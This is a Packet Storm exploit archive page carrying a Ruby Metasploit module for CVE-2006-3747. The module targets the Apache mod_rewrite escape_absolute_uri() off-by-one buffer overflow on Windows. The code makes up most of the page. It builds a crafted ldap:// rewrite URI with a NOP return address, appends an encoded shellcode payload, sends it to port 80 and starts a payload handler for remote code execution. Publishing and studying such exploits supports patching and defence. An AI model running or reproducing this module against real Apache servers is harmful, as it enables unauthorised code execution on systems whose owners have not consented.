exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

apache-mod-rewrite.rb.txt

apache-mod-rewrite.rb.txt
Posted Jan 7, 2008
Authored by Marcin Kozlowski

Apache mod_rewrite escape_absolute_uri() off-by-one buffer overflow Metasploit exploit module. This affects Apache versions 1.3.28 through 1.3.36, 2.0.46 through 2.0.58, and 2.2.1 through 2.2.2.

tags | exploit, overflow
advisories | CVE-2006-3747
SHA-256 | 503139768b0cda278959c2bc8df18f7cb0aee2077db8a28468990531d48c3000

apache-mod-rewrite.rb.txt

Change Mirror Download
require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_mod_rewrite < Msf::Exploit::Remote

include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Mod_Rewrite escape_absolute_uri() Off-By-One Buffer Overflow',
'Description' => %q{
This module exploits a off-by-one buffer overflow. RewriteRule must be enabled and rule must meets this criteria:
* beginning of the rewritten URL is controlled.
* flags on the rule do not include the Forbidden (F), Gone (G), or NoEscape (NE) flag
},
'Author' => [ 'Marcin Kozlowski' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 0001 $',
'References' =>
[
['CVE', '2006-3747'],
['BID', '19204'],
['OSVDB', '27588'],

],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
['Apache 1.3 branch (>1.3.28 and <1.3.37), Apache 2.0 branch (2.0.46 and <2.0.59), Apache 2.2 branch (>2.2.0 and <2.2.3)', {'Ret' => 0x90909090 }], # our ret is NOP, since our shellcode is shortly after and will be execute next
],
'DisclosureDate' => 'Aug 28 2006'))

register_options(
[
OptString.new('REWRITEPATH', [true, "Rewrite path"]),
Opt::RPORT(80)
], self.class )
end

def exploit
connect

rewritepath = datastore['REWRITEPATH']


uri = "/#{rewritepath}/ldap://"+rand_text_alphanumeric(rand(16))+"/"+rand_text_alphanumeric(rand(32))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f"+rand_text_alphanumeric(rand(16))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f%90"
uri += payload.encoded


res = "GET #{uri} HTTP/1.0\r\n\r\n"
print_status("Trying ...")
sock.put(res)
sock.close

handler
disconnect
end



end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close